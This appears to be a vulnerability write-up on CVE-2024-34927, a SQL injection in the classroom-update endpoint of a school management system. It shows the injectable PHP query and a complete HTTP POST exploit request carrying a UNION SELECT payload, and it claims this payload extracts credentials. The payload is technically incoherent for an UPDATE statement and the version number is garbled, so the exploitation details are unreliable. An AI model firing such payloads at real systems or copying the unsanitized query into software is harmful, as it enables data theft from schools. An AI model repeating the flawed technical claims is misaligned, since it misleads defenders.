CVE-2024-34927: Uncovering a SQL Injection Vulnerability in Campcodes Complete Web-Based School Management System 1.

As technology becomes ever more entwined within educational institutions, new vulnerabilities are constantly being discovered. One such vulnerability, known as CVE-2024-34927, was recently identified in the Campcodes Complete Web-Based School Management System. This system is designed to provide a comprehensive solution to managing both the academic and administrative aspects of a school, making it an essential tool for educational establishments.

In this article, we'll take a deep dive into the CVE-2024-34927 vulnerability, exploring how it can be exploited and discussing the potential dangers this poses to schools that utilize the Campcodes Management System. We'll also outline remediation steps to ensure your school's data remains secure.

Vulnerability Details

CVE-2024-34927 is a SQL injection vulnerability affecting the /model/update_classroom.php file within Campcodes Complete Web-Based School Management System version 1.. The flaw lies in the name parameter, allowing an attacker to execute arbitrary SQL commands by inputting malicious code. This compromises the integrity of the application, potentially exposing sensitive data to unauthorized users.

To give you a better understanding, let's take a look at a code snippet from the affected file

<?php
include('../database.php');
$id = $_POST['id'];
$name = $_POST['name'];
$section = $_POST['section'];

$sql = "UPDATE class SET name = '$name', section = '$section' WHERE id = $id";
$result = mysqli_query($connection, $sql);
?>

In the code above, you can see how the name, section, and id parameters are taken directly from the POST request and used without proper sanitization or validation. This allows an attacker to inject malicious SQL commands via the name parameter, enabling them to gain unauthorized access to sensitive information and potentially compromise the entire application.

Exploitation

To exploit this vulnerability, an attacker can craft a malicious POST request containing SQL code that manipulates the database on the server-side. This can be done using a variety of tools, including popular penetration testing applications such as Burp Suite or curl. The exploit can look like this:

POST /model/update_classroom.php HTTP/1.1
Host: targetsite.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 63

id=1&name=Injected', ) UNION SELECT 1, @@version, 3, 4%23&section=1

Using this payload, an attacker can effectively extract sensitive data, such as login credentials and other potentially valuable information, stored in the database.

Remediation Steps

The most immediate and effective solution to the CVE-2024-34927 vulnerability is to implement proper input validation and sanitization. Campcodes should ensure that all incoming data is thoroughly checked and cleaned before being used in SQL queries.

Conclusion

CVE-2024-34927 demonstrates the importance of staying aware of new vulnerabilities and taking the necessary precautions to protect your educational institution and its data. By implementing secure coding practices and regularly evaluating the security of your systems, you can minimize the risk of exploitation and keep your school's sensitive information secure.
